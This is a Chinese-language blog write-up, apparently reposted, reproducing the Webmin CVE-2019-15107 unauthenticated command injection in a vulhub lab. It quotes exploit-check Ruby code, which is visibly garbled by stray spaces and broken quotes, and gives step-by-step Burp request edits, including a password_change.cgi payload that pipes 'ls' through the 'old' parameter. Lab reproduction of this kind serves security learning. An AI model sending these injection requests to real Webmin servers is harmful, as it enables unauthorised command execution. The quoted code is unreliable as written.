欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现

程序员文章站 2022-07-15 14:10:48
...

前言:

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

影响版本

Webmin  <= 1.920

漏洞代码

def peer
"#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}" 
end

# Target and input verification
##

def check
# check passwd change privres = send_ request_ cgi(
{
    'uri' => normalize_ uri(target_ uri. path, " password_ change.cgi"),
    ' headers' =>
        {
            ' Referer’=>”#{peer}/session_ login.cgi"
        },
' cookie' =>" redirect=1; testing=1; sid=x; sessiontest=1"
})

if res & res.code == 200 && res.body =n /Failed/

res = send_ request_ cgi(
{
    'method' =>'POST',
    'cookie' => " redirect=1; testing=1; sid=x; sessiontest=1",
    'ctype' => " application/ X-WWW- form- urlencoded ',
    'uri' => normalize_ uri(target_ uri.path, ' password_ change.cgi' ),
    ” headers' =>
        {
            'Referer' => "#{peer}/session_ login.cgi"
        },
    'data' => "user=root&pam=&expired=2&old=AkkuS%7 cdir%20&new1=akkuss&new2=akkuss"
})

审计完代码后,我们知道:

1.res = send_ request_ cgi()里面的东西就是数据包的内容,把抓取的数据包添加或修改对应得内容就可以了。

2.数据包user参数有一个默认用户root,只有参数user!=root的时候才会进入到修改/etc/shadow的地方,触发命令注入漏洞。

进入靶机:

Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现

无账号无密码登陆,用burp抓包

Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现

第一步,修改路径 session_ login.cgi 为 password_ change.cgi

第二步,修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1

第三步,修改参数 user=jammny&pam=&expired=2&old=test1|ls&new1=test2&new2=test2

Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现

 

END

以前看到后台直接测试弱口令,现在知道了不只是弱口令,还有其他办法可以绕过登陆验证。多观察多学习多积累,加油。